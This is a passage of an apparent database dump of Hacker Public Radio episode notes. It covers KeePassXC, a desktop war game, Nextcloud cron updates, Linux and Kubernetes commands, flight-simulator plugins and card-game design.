/>\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.logitechg.com/en-us/products/gaming-mice/g502-hero-gaming-mouse.910-005469.html\"\ntitle=\"G502 HERO High Performance Gaming Mouse.\">G502 HERO High\nPerformance Gaming Mouse.</a><br />\n</p>\n<ul>\n<li>Dual-Mode Hyper-Fast Scroll Wheel<br />\n</li>\n<li>Unlock the scroll wheel for hyper-fast continuous scrolling to spin\nquickly through long pages, or lock it down for single click precision\nscrolling. The weighty, metal wheel delivers confident, smooth and\nsatisfying control for either mode.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<h3 id=\"general-keepassxc-information.\">General KeePassXC Information.\n&#xA0;</h3>\n<ul>\n<li>Why KeePassXC instead of KeePassX?<br />\n<ul>\n<li>KeePassX is an amazing password manager, but hasn\'t seen much active\ndevelopment for quite a while. Many good pull requests were never merged\nand the original project is missing some features which users can expect\nfrom a modern password manager. Hence, we decided to fork KeePassX to\ncontinue its development and provide you with everything you love about\nKeePassX plus many new features and bugfixes.<br />\n</li>\n</ul></li>\n<li>Why KeePassXC instead of KeePass?<br />\n<ul>\n<li>KeePass is a very proven and feature-rich password manager and there\nis nothing fundamentally wrong with it. However, it is written in C# and\ntherefore requires Microsoft\'s .NET platform. On systems other than\nWindows, you can run KeePass using the Mono runtime libraries, but you\nwon\'t get the native look and feel which you are used to.<br />\n</li>\n<li>KeePassXC, on the other hand, is developed in C++ and runs natively\non all platforms giving you the best-possible platform\nintegration.<br />\n</li>\n</ul></li>\n<li>Why is there no cloud synchronization feature built into\nKeePassXC?<br />\n<ul>\n<li>Cloud synchronization with Dropbox, Google Drive, OneDrive,\nownCloud, Nextcloud etc. can be easily accomplished by simply storing\nyour KeePassXC database inside your shared cloud folder and letting your\ndesktop synchronization client do the rest. We prefer this approach,\nbecause it is simple, not tied to a specific cloud provider and keeps\nthe complexity of our code low.<br />\n</li>\n</ul></li>\n<li>KeePassXC allows me to store my TOTP secrets. Doesn\'t this alleviate\nany advantage of two-factor authentication?<br />\n<ul>\n<li>Yes. But only if you store them in the same database as your\npassword. We believe that storing both together can still be more secure\nthan not using 2FA at all, but to maximize the security gain from using\n2FA, you should always store TOTP secrets in a separate database,\nsecured with a different password, possibly even on a different\ncomputer.<br />\n</li>\n</ul></li>\n<li>How do I use the KeePassXC CLI tool with the AppImage?<br />\n<ul>\n<li>Starting with version 2.2.2, you can run the KeePassXC CLI tool from\nthe AppImage by executing it with the <code>cli</code> argument:<br />\n</li>\n<li><code>./KeePassXC-*.AppImage cli</code><br />\n</li>\n</ul></li>\n</ul>\n<h3 id=\"additional-information.\">Additional Information.</h3>\n<ul>\n<li>What Is Infinite Scrolling?<br />\n<ul>\n<li>Infinite scrolling is a technique that loads more content as you\nscroll. It allows you to continue scrolling indefinitely and is\nsometimes known as endless scrolling.<br />\n</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.hackerpublicradio.org/eps.php?id=3568\"\ntitle=\"Hacker Public Radio\">blackeRnel Tries to help yoU undeRstand\nEnough about math and programming.</a><br />\n</li>\n</ul>\n',391,0,0,'CC-BY-SA','KeepassXC, audit, Zaur Molotnikov',0,0,1),
(3869,'2023-06-01','5 minute war game',836,'I made up a game so I could play with my painted toy soldiers while waiting for code to compile.','<p>Grab some toy soldiers (Games Workshop, BattleTech, Lego, whatever), a handful of six-sided dice, and clear off a 20x20 cm space on your desk.</p>\n\n<p>Arrange the soldiers within the play area. Place 3d6 by each soldier.</p>\n\n<p>On its turn, a soldier may move or attack. Never both.</p>\n\n<p>To attack, remove 1d6 from a soldier\'s dice pool and roll it. Ranged attacks hit on 4 or greater. Melee attacks hit on 3 or greater.</p>\n\n<p>When a soldier takes damage, remove 1 die from its dice pool.</p>\n\n<p>When a soldier\'s dice pool is reduced by damage to 0 or less, tip it on its side to signify that it is dead.</p>\n\n<p>The last soldier or soldiers left standing when there are no dice in the play area wins.</p>\n\n<p>These rules are Creative Commons CC BY-SA 4.0, but you can also download them from <a href=\"https://notklaatu.itch.io/skuffle-wammer\" target=\"_blank\">Itch.io</a></p>\n',78,95,0,'CC-BY-SA','game,rpg,wargame,board game,miniature,painting',0,0,1),
(3872,'2023-06-06','Sgoti update with replies.',1730,'Sgoti talks about the Oh No News and replies to a few HPR shows.','<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3865\">hpr3865\n:: When did the Internet get so boring?</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3862\">hpr3862\n:: Firefox Extensions</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3860\">hpr3860\n:: Civilization II</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3857\">hpr3857\n:: Yesterday I saw a solar flare</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3856\">hpr3856\n:: Painting toy soldiers</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3851\">hpr3851\n:: Firefox extensions</a><br />\n</p>\n<p><a\nhref=\"http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-May/015479.html\">Oh\nNo News Update email</a><br />\n</p>\n',391,0,0,'CC-BY-SA','Oh No News, Show Replies',0,0,1),
(3873,'2023-06-07','Nextcloud instance updating',153,'Automatic updating of Nextcloud Installation','<p>Things about environment:</p>\n<ul>\n<li>Headless server</li>\n<li>Nextcloud On Fedora 38</li>\n<li>Apache Web Server</li>\n<li>Nextcloud runs as apache user</li>\n<li>Nextcloud installed in alternate directory\n<code>/data/nextcloud</code></li>\n<li>Apps are being updated according to<br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3297\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3297</a><br />\nAutomatically Update Nextcloud Applications via Cron</li>\n</ul>\n<pre><code>root@homeserver ~]# crontab -l -u apache\nMAILTO=NAME@domain.com\n# m h d m w\n# * * * * * command to be executed\n# - - - - -\n# | | | | |\n# | | | | +----- day of week (0 - 6) (Sunday=0)\n# | | | +------- month (1 - 12)\n# | | +--------- day of month (1 - 31)\n# | +----------- hour (0 - 23)\n# +------------- min (0 - 59)\n# m h dom mon dow command\n\n#Nextcloud\n#Cron Updates \n*/5 * * * * /usr/bin/php -f /data/nextcloud/cron.php &gt;/dev/null 2&gt;/dev/null\n#App Updates\n0 5 * * 0 /usr/bin/php /data/nextcloud/occ app:update --all 2&gt;&amp;1\n#Update Next Cloud\n0 1 * * 0 /usr/bin/php --define apc.enable_cli=1 /data/nextcloud/updater/updater.phar --no-interaction</code></pre>\n',273,0,1,'CC-BY-SA','Nextcloud,SysAdmin,Admin',0,0,1),
(3875,'2023-06-09','Parlons Linux Season 1 Episode 7, le sticky bit',340,'A sample episode from a new entry to the Free Culture Podcast list','<ul>\n<li>Website URL: <a href=\"https://parlonslinux.fr/@ParlonsLinuxFR\">https://parlonslinux.fr/@ParlonsLinuxFR</a></li>\n<li>RSS/Atom Feed URL: <a href=\"https://parlonslinux.fr/@ParlonsLinuxFR/feed.xml\">https://parlonslinux.fr/@ParlonsLinuxFR/feed.xml</a></li>\n<li>Creative Commons License: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">CC BY-SA 3.0</a></li>\n<li>Sample Episode URL: <a href=\"https://parlonslinux.fr/@ParlonsLinuxFR/episodes/le-sticky-bit\">https://parlonslinux.fr/@ParlonsLinuxFR/episodes/le-sticky-bit</a></li>\n<li>Free Culture Podcasts: <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></li>\n</ul>\n',30,75,1,'CC-BY-SA','freeculturepodcasts,creative commons,Parlons Linux',0,0,1),
(3885,'2023-06-23','L\'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du Libre',7315,'A sample episode from the latest entry to the Free Culture Podcast','<ul>\n<li>Website URL: <a href=\"http://donkluivert.cluster1.easy-hebergement.net/\">http://donkluivert.cluster1.easy-hebergement.net/</a></li>\n<li>RSS/Atom Feed URL: <a href=\"https://feeds.feedburner.com/easy-hebergement/EuLV\">https://feeds.feedburner.com/easy-hebergement/EuLV</a></li>\n<li>Creative Commons License: <a href=\"https://creativecommons.org/licenses/by-nc-sa/4.0/\">CC BY-NC-SA 4.0</a></li>\n<li>Sample Episode URL: <a href=\"https://donkluivert.cluster1.easy-hebergement.net/2022/11/23/rencontre-avec-le-veterinaire-du-libre/\">https://donkluivert.cluster1.easy-hebergement.net/2022/11/23/rencontre-avec-le-veterinaire-du-libre/</a></li>\n<li>Free Culture Podcasts: <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></li>\n</ul>\n\n',30,75,1,'CC-BY-SA','FreeCulturePodcast,Creative Commons,L\'apéro des Papas Manchots',0,0,1),
(3879,'2023-06-15','HPR at Hillend',2747,'MrX and Dave Morriss have lunch and record a chat','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave\nMorriss</a></li>\n</ul>\n<p>We recorded this on Saturday May 20<sup>th</sup> 2023. We met in\nperson again, and as before first visited the pub called <em>The\nSteading</em> where we had lunch. Then we adjourned to Daves Citroen\ncar (<em>Studio C</em>) in the car park, and recorded a chat.</p>\n<p>The region where we met is close to a village called\n<em>Hillend</em>, which led to the show title.</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>ChatGPT:\n<ul>\n<li>MrX did two shows in May using ChatGPT. He has used it more than\nDave has.</li>\n<li>MrX has an iPhone and can use ChatGPT from it. He uses it as a\nsource of information when out and about. For instance, to find out\nabout the history of <a\nhref=\"https://en.wikipedia.org/wiki/Musselburgh\">Musselburgh</a>\nHarbour.</li>\n<li>MrX has also used ChatGPT to write experimental Python scripts.</li>\n<li>There is a <a\nhref=\"https://www.ted.com/talks/greg_brockman_the_inside_story_of_chatgpt_s_astonishing_potential/c?language=en\">TED\ntalk by Greg Brockman</a>, the inventor of ChatGPT.</li>\n<li>Discussion of the <a href=\"https://callannie.ai/\"><em>Call\nAnnie</em></a> app</li>\n<li><a href=\"https://en.wikipedia.org/wiki/ELIZA\">ELIZA</a> the program\nthat was written in the 1960s and simulated conversation well enough to\nconvince people.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Audacity/Tenacity audio editors:\n<ul>\n<li>Web sites: <a href=\"https://support.audacityteam.org/\">Audacity</a>\nand <a href=\"https://tenacityaudio.org/\">Tenacity</a>.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Audacity_(audio_editor)\">Audacity\nWikipedia page</a></li>\n<li>MrX and Dave have both used Audacity for several years.</li>\n<li>Audacity was forked after it was taken over by <a\nhref=\"https://mu.se/\">Muse Group</a>, and Tenacity was developed.\nHowever, it doesnt seem that there have been any releases on Tenacity\nto date.</li>\n<li>The most recent versions of Audacity have contained changes - in\nparticular the way the audio project is stored has changed. Instead of a\ndirectory filled with various files there is now a single project file\nwith the extension <code>.aup3</code> which is a SQLite database. This\nwas changed in March 2021 for Version 3.0.\n<ul>\n<li>Previously Audacity stored the project as a file called\n<code>&lt;project&gt;.aup</code> and a directory called\n<code>&lt;project&gt;_data/</code> containing sub-directories and\nfiles.</li>\n</ul></li>\n<li>MrX reports changes in the way multiple tracks are handled. Dave\nfinds that the horizontal scrollbar has disappeared (which seems to be a\nbug).</li>\n</ul></li>\n</ul>\n<ul>\n<li>Dr John Campbell:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/channel/UCF9IOB2TExg3QIBupFtBDxg\">YouTube\nchannel</a></li>\n<li>During the COVID-19 epidemic the channel contained a lot of\ninformation about the SARS-CoV-2 virus, vaccines, disease, treatments,\netc, which seemed to be helpful and well researched.</li>\n<li>At one point there was a lot of talk about Ivermectin as a drug that\ncould help with the disease, but although this received no support from\nscientific research, it seemed to be receiving more and more exposure on\nthe channel.</li>\n<li>From then on the quality of the content on the channel seemed to\ndeteriorate, and it no longer seems trustworthy.</li>\n<li>Other sources have been critical, including <a\nhref=\"https://www.youtube.com/@DebunktheFunkwithDrWilson/about\"><em>Debunk\nthe Funk with Dr Wilson</em></a></li>\n</ul></li>\n</ul>\n<ul>\n<li>The Doctor Who Exhibition:\n<ul>\n<li>Dave met with Andrew Conway and Andrews friend, and all went to the\nexhibition held at the National Museum of Scotland.</li>\n<li>The exhibition contained a lot of Doctor Who memorabilia, including\nsome original props.</li>\n<li>MrX and the group that went to the exhibition have all watched\nDoctor Who over the years. All have lost interest at some point but then\nresumed, particularly after the show was restarted in 2005 with\nChristopher Eccleston and Billie Piper.</li>\n<li>Discussion about the <a\nhref=\"https://en.wikipedia.org/wiki/BBC_Radiophonic_Workshop\">BBC\nRadiophonic Workshop</a> where the Doctor Who sound effects were made as\nwell as the signature tune. Also the <a\nhref=\"https://en.wikipedia.org/wiki/Mellotron\">Mellotron</a>, a keyboard\nthat played tape loops.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Mechanical musical instruments:\n<ul>\n<li>The Swedish band <a\nhref=\"https://en.wikipedia.org/wiki/Wintergatan\"><em>Wintergatan</em></a>\nuse mechanical instruments in their music and <a\nhref=\"https://en.wikipedia.org/wiki/Martin_Molin\">Martin Molin</a>, a\nband member is responsible for some of them. He did a series on YouTube\nabout mechanical instruments: <a\nhref=\"https://www.youtube.com/playlist?list=PLLLYkE3G1HEBO1slIc1RRfcfSsGyv2oMu\"><em>Music\nMachine Mondays</em></a> at the <a\nhref=\"https://en.wikipedia.org/wiki/Museum_Speelklok\">Museum\nSpeelklok</a> in Utrecht which is great to watch if you are\ninterested.</li>\n<li>Dave also mentioned musical instrument museums in <a\nhref=\"https://en.wikipedia.org/wiki/Berlin_Musical_Instrument_Museum\">Berlin</a>\nand <a\nhref=\"https://en.wikipedia.org/wiki/Musical_Instrument_Museum,_Brussels\">Brussels</a>.</li>\n<li>MrX mentioned a museum in <a\nhref=\"https://en.wikipedia.org/wiki/Dalbeattie\">Dalbeattie</a>, a town\nin <a\nhref=\"https://en.wikipedia.org/wiki/Dumfries_and_Galloway\">Dumfries and\nGalloway</a> in the Scottish Borders. In the <a\nhref=\"http://www.dalbeattiemuseum.co.uk/\">museum</a> there had been a\nchance to play a barrel organ.</li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube channels:\n<ul>\n<li>Dave:\n<ul>\n<li>(Mentioned earlier) <a\nhref=\"https://www.youtube.com/@DebunktheFunkwithDrWilson/about\"><em>Debunk\nthe Funk with Dr Wilson</em></a> - the host, Dan Wilson, has a Ph.D. in\nmolecular biology that covers bad science while making good science\naccessible. The channel focuses mainly on pseudoscience surrounding the\nanti-vaccine movement and COVID misinformation.</li>\n<li><a\nhref=\"https://www.youtube.com/@littlechineseeverywhere\"><em>Little\nChinese Everywhere</em></a> - Yan is a Human Geographer who studied in\nSwitzerland. The first season was “<em>The Longest Way Back Home\n(Switzerland to China)</em>” where she travelled over land to China. She\nis now producing videos for season 2 about China itself. She plans to\nvisit every province in mainland China and make videos.\n<ul>\n<li>Dave mentioned the episode about <a\nhref=\"https://www.youtube.com/watch?v=ZrO08P4-T-g\">Yanjin City in\nYunnan</a>. It is mentioned in Wikipedia as the <a\nhref=\"https://en.wikipedia.org/wiki/Yanjin_County,_Yunnan\">“Worlds\nNarrowest City”</a>, either side of the narrow Heng River valley, a\ntributary of the Yangtze.</li>\n</ul></li>\n</ul></li>\n<li>MrX:\n<ul>\n<li><a href=\"https://www.youtube.com/@RonMattino\">Ron Mattino</a> - a\nchannel dedicated to electronics, programming and engineering.\n<ul>\n<li>Mentioned episode about the pins on a smartphone battery: <a\nhref=\"https://www.youtube.com/watch?v=Sb4aVHoeo90\">Why do MOBILE\nBATTERIES have THREE terminals? A simple Explanation.</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Artificial Intelligence:\n<ul>\n<li><a href=\"https://openai.com/blog/chatgpt\">ChatGPT</a></li>\n<li><a\nhref=\"https://www.ted.com/talks/greg_brockman_the_inside_story_of_chatgpt_s_astonishing_potential/c?language=en\">TED\ntalk by Greg Brockman</a></li>\n<li><a href=\"https://callannie.ai/\"><em>Call Annie</em></a>\napplication</li>\n<li><a href=\"https://en.wikipedia.org/wiki/ELIZA\">ELIZA</a> early\n<em>chatbot</em></li>\n</ul></li>\n</ul>\n<ul>\n<li>Audio editing:\n<ul>\n<li><a href=\"https://support.audacityteam.org/\">Audacity web\nsite</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Audacity_(audio_editor)\">Audacity\nWikipedia page</a></li>\n<li><a href=\"https://tenacityaudio.org/\">Tenacity web site</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Science misinformation:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/channel/UCF9IOB2TExg3QIBupFtBDxg\">Dr John\nCampbells YouTube channel</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Doctor Who:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/BBC_Radiophonic_Workshop\">BBC\nRadiophonic Workshop</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Mechanical musical instruments:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/playlist?list=PLLLYkE3G1HEBO1slIc1RRfcfSsGyv2oMu\"><em>Music\nMachine Mondays</em></a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Museum_Speelklok\">Museum\nSpeelklok</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Berlin_Musical_Instrument_Museum\">Berlin\nmusic museum</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Musical_Instrument_Museum,_Brussels\">Brussels\nmusic museum</a></li>\n<li><a href=\"http://www.dalbeattiemuseum.co.uk/\">Dalbeattie\nmuseum</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/@DebunktheFunkwithDrWilson/about\"><em>Debunk\nthe Funk with Dr Wilson</em></a></li>\n<li><a\nhref=\"https://www.youtube.com/@littlechineseeverywhere\"><em>Little\nChinese Everywhere</em></a></li>\n<li><a href=\"https://www.youtube.com/@RonMattino\">Ron Mattino</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','Edinburgh, Hillend, discussion',0,0,1),
(3878,'2023-06-14','Linux commands to gather information about your system',557,'You need this information to understand your system better','<p><a href=\"https://www.redhat.com/sysadmin/linux-system-info-commands\"\nclass=\"uri\">https://www.redhat.com/sysadmin/linux-system-info-commands</a></p>\n<ul>\n<li>The various ls commands lscpu, lsblk, lspci,</li>\n<li>The disk commands df, fdisk and mount</li>\n<li>Usbutils</li>\n<li>pciutils</li>\n</ul>\n<p>Free</p>\n<pre><code>dmidecode -t memory or -t bios or -t system</code></pre>\n',129,0,0,'CC-BY-SA','system, memory, Cpu, ls',0,0,1),
(3881,'2023-06-19','Xplane_VatSim_2022',1181,'I talk about vatsim and xplane Obsession','<p><a\nhref=\"https://github.com/freeload101/SCRIPTS/tree/master/VatSim_OLD\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/VatSim_OLD</a></p>\n<h1 id=\"xplane11\">Xplane11</h1>\n<p>This repo is dedicated to xplane plugin automation!</p>\n<h1 id=\"vatsim-docs\">VATSIM DOCS</h1>\n<p><a\nhref=\"https://rmccurdy.com/.scripts/downloaded/VATSIM/TRAINING_CBT_ZAE_ZTL_BIBLE_S1_S2_20210402.zip\"\nclass=\"uri\">https://rmccurdy.com/.scripts/downloaded/VATSIM/TRAINING_CBT_ZAE_ZTL_BIBLE_S1_S2_20210402.zip</a></p>\n<ul>\n<li>Scenery Zhenhao Yang: <a\nhref=\"https://forums.x-plane.org/index.php?/files/file/39173-atlanta-vfr/\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/39173-atlanta-vfr/</a><br />\n<a href=\"https://simheaven.com/simdownloads/x-america/\"\nclass=\"uri\">https://simheaven.com/simdownloads/x-america/</a><br />\n<a\nhref=\"https://forums.x-plane.org/index.php?/files/file/36327-us-orthophotos/\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/36327-us-orthophotos/</a>\nor <a href=\"https://verticalsims.com/vorthos/\"\nclass=\"uri\">https://verticalsims.com/vorthos/</a></li>\n</ul>\n<p><em>logic:</em></p>\n<ul>\n<li>check for admin</li>\n<li>check for xplane binary</li>\n<li>have config file and folder for plugins/resources to be\nimported</li>\n<li>prompt install of stuff if found in the folders for Ortho4XP or\nalpilotx</li>\n<li>backup files to be modified</li>\n<li>automate Ortho4XP</li>\n<li>automate alpilotx</li>\n<li>automate common plugin installs (traffic / lighting / models/planes\netc)</li>\n</ul>\n<p><em>Models:</em></p>\n<ul>\n<li>ZIBO 737-800 <a\nhref=\"https://drive.google.com/file/d/1v-mBJ92EpV5sDPbH4s-T4EYmL2WQsZJf/view?usp=sharing\"\nclass=\"uri\">https://drive.google.com/file/d/1v-mBJ92EpV5sDPbH4s-T4EYmL2WQsZJf/view?usp=sharing</a></li>\n<li>Ultimate 737-700</li>\n<li>Ultimate 737-900</li>\n<li>Flight Factor B777-200LR</li>\n<li>Default B747-400 ???</li>\n</ul>\n<p><em>Utilities:</em></p>\n<ul>\n<li>LiveTraffic</li>\n</ul>\n<p><em>Todo Plugins?:</em></p>\n<ul>\n<li><p><a\nhref=\"https://forums.x-plane.org/index.php?/files/file/50472-single-pilot-assistant-for-zibo-mod-737-800/&amp;tab=reviews&amp;sort=newest#review-81477\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/50472-single-pilot-assistant-for-zibo-mod-737-800/&amp;tab=reviews&amp;sort=newest#review-81477</a></p></li>\n<li><p>Autogate</p></li>\n<li><p>FlyWithLua ?</p></li>\n<li><p>Zibo 737-800x</p></li>\n<li><p>Headshake</p></li>\n<li><p>Vivid Sky</p></li>\n<li><p>Airport Environment HD</p></li>\n<li><p>Terrain Radar</p></li>\n<li><p>Avitab</p></li>\n<li><p>VFR Photo Scenery</p></li>\n<li><p>Aerosoft MegaAirports</p></li>\n<li><p>XTraffic</p></li>\n<li><p>XPFlightplanner</p></li>\n<li><p>XSquawkBox</p></li>\n<li><p>x-vision.pro</p></li>\n<li><p>FlyWithLua</p></li>\n<li><p>betterpushback</p></li>\n<li><p>betterpushbackc ?!? (not working for my build )</p></li>\n<li><p><a href=\"http://www.xsquawkbox.net/xpsdk/mediawiki/DataRefEditor\"\nclass=\"uri\">http://www.xsquawkbox.net/xpsdk/mediawiki/DataRefEditor</a></p></li>\n<li><p>PlaneCommand</p></li>\n<li><p>SomCoders</p></li>\n<li><p>Terrain Radar</p></li>\n<li><p><a\nhref=\"https://www.reddit.com/r/flightsim/comments/7tbcsh/shoutoutreview_forkboy2s_orthophotos/\"\nclass=\"uri\">https://www.reddit.com/r/flightsim/comments/7tbcsh/shoutoutreview_forkboy2s_orthophotos/</a>\n?</p></li>\n<li><p><a\nhref=\"https://forums.x-plane.org/index.php?/files/file/43314-webfmc/\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/43314-webfmc/</a></p></li>\n</ul>\n<p><em>Things to learn</em></p>\n<ul>\n<li><p>stab trim</p></li>\n<li><p>inop</p></li>\n<li><p>GPU/CPU tune <a\nhref=\"https://www.x-plane.com/manuals/desktop/#settingtherenderingoptionsforbestperformance\"\nclass=\"uri\">https://www.x-plane.com/manuals/desktop/#settingtherenderingoptionsforbestperformance</a></p></li>\n</ul>\n<p><em>Help/FAQ:</em></p>\n<ul>\n<li><p>reset FMC by setting a new origin</p></li>\n<li><p>save views CTRL+NUMBERPAD recall NUMBERPAD</p></li>\n<li><p>Scenery ini <a\nhref=\"http://www.pterosaur.org.uk/Xplane10/Setup/Problem_Solving/Problems.html\"\nclass=\"uri\">http://www.pterosaur.org.uk/Xplane10/Setup/Problem_Solving/Problems.html</a></p></li>\n<li><p>This file order is:</p>\n<p>All add on airports at the top of the list (Important)</p>\n<pre><code> Aerosoft default airports (Do Not rename)\n\n Demo Airports (Do Not rename)\n\n Global airports (Do Not rename - Keep below ALL airports)\n\n Library files (Can be anywhere, but I put them below airports)\n\n Landscape scenery files (Keep below the airports they may affect)\n\n Ortho (Below all airports)\n\n Mesh (Below ortho)</code></pre></li>\n</ul>\n',36,0,0,'CC-BY-SA','video games,vatsim, simulators',0,0,1),
(3886,'2023-06-26','light saber zzz ohh no!',1242,'I talk about my problem with light savers ...','<p><a\nhref=\"https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.mp4\"\nclass=\"uri\">https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.mp4</a></p>\n<p><a\nhref=\"https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.zip\"\nclass=\"uri\">https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.zip</a></p>\n<p>lightsaber in customization and skills saber <a\nhref=\"https://www.crimsondawn.com/products/mystery-box?variant=33206141681741\"\nclass=\"uri\">https://www.crimsondawn.com/products/mystery-box?variant=33206141681741</a>\nI paid $268USD for Neopixel Proffie : <a\nhref=\"https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF\"\nclass=\"uri\">https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF</a></p>\n',36,0,0,'CC-BY-SA','light sabers,star warz,cat,lul cats,memes',0,0,1),
(3882,'2023-06-20','Alternatives to the cd command',632,'Navigate your filesystem without cd','<p>Five or six ways I could think of to roam the files of your Linux computer without <code>cd</code>.</p>\n\n<h2 id=\"pushd-and-popd-dirs\">pushd and popd dirs</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/Pushd_and_popd\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Pushd_and_popd</a></p>\n<p>The pushd command, when called with a filepath as an argument, saves\nthe current working directory in memory (via a directory stack) so it\ncan be returned to at any time, places the new filepath at the top of\nthe stack, and changes to the new filepath. The popd command returns to\nthe path at the top of the directory stack.</p>\n<h2 id=\"cd--\">cd -</h2>\n<p>From <code>man bash</code> An argument of - is converted to $OLDPWD\nbefore the directory change is attempted.</p>\n<h2 id=\"variables\">Variables</h2>\n<pre><code>EXPORT mydir=&quot;/path/to/file/&quot;\ncd ${mydir}</code></pre>\n<h2 id=\"history-and-histverify\">History and histverify</h2>\n<p>Using !number from the history command will execute the command</p>\n<pre><code>[user@pc ~]$ history\n1 cd tmp\n2 cd ~\n3 history\n\n[user@pc ~]$ !3\ncd tmp\n[user@pc tmp]$\n</code></pre>\n<p>from the man command</p>\n<pre><code> shopt [-pqsu] [-o] [optname ...]\n Toggle the values of settings controlling optional shell behavior.\n ...\n -s Enable (set) each optname.\n -u Disable (unset) each optname.</code></pre>\n<p>Now using !number from the history command will put the command on\nthe prompt but you need to execute it yourself</p>\n<pre><code>[user@pc ~]$ shopt -s histverify\n[user@pc ~]$ !39673\n[user@pc ~]$ cd tmp</code></pre>\n<h2 id=\"autocd-command\">autocd command</h2>\n<pre><code>[ken@kalani ~]$ shopt -s autocd\n[ken@kalani ~]$ tmp\ncd -- tmp\n[ken@kalani tmp]$ ~\ncd -- /home/ken</code></pre>\n<h2 id=\"working-without-changing-to-directory\">working without changing\nto directory</h2>\n<pre><code>[ken@kalani ~]$ ls tmp</code></pre>\n',78,42,0,'CC-BY-SA','bash,linux',0,0,1),
(3887,'2023-06-27','10 must-know commands for a new cloud admin',1499,'Learn these essential Linux commands so you know how to run your cluster','<p>Learn Linux basics so you can manage your cluster.</p>\n<p>\n<small>Added by Ken</small>\n</p>\n\n<ol>\n<li><a href=\"https://kubernetes.io/docs/reference/kubectl/\">kubectl</a></li>\n<li><a href=\"https://curl.se/\">curl</a></li>\n<li><a href=\"https://linux.die.net/man/1/unzip\">unzip</a></li>\n<li><a href=\"https://linux.die.net/man/1/tar\">tar</a></li>\n<li><a href=\"https://linux.die.net/man/8/sudo\">sudo</a></li>\n<li><a href=\"https://linux.die.net/man/1/mv\">mv</a></li>\n<li><a href=\"https://linux.die.net/man/1/chmod\">chmod</a></li>\n<li><a href=\"https://askubuntu.com/questions/320632/why-do-i-need-to-type-before-executing-a-program-in-the-current-directory\">Using ./ before a script in the current directory</a></li>\n<li><a href=\"https://linux.die.net/man/1/cd\">cd to change directory</a></li>\n<li><a href=\"https://linux.die.net/man/1/ls\">ls</a></li>\n<li><a href=\"https://linux.die.net/man/1/echo\">echo</a></li>\n<li><a href=\"https://man7.org/linux/man-pages/man1/export.1p.html\">export</a></li>\n</ol>\n\n',78,0,0,'CC-BY-SA','cloud,kubernetes,containers,pod',0,0,1),
(3893,'2023-07-05','Game card design resources',2251,'How design card','<p><strong>Concepts</strong></p>\n\n<p>A poker deck is a great starting point for developing game mechanics without getting distracted by what the game assets will look like. Playing cards have lots of unique things you can structure game play around, like two colours, four suits, face cards, Joker, and so on.</p>\n\n<p>Tarot cards add even more variety, because a tarot deck usually has unique art on every card, which provides you plenty of elements to work with. Etsy has lots of custom tarot decks that are beautifully designed by indie artists.</p>\n\n<p><strong>Design</strong></p>\n\n<p>TheGameCrafter.com has <a href=\"https://s3.amazonaws.com/www.thegamecrafter.com/templates/bridge-card.svg\" target=\"_blank\">card templates</a> for Inkscape.</p>\n\n<p>An easier option is to use LibreOffice Draw. Go to <strong>Page</strong> &gt; <strong>Page Properties</strong> &gt; and set page size to 57mm x 89mm (2.25 x 3.5 inches).</p>\n<p>Minimalism is a great tool for any content creator on a budget. Think of the simplest requirement to convey your game mechanic. If your cards 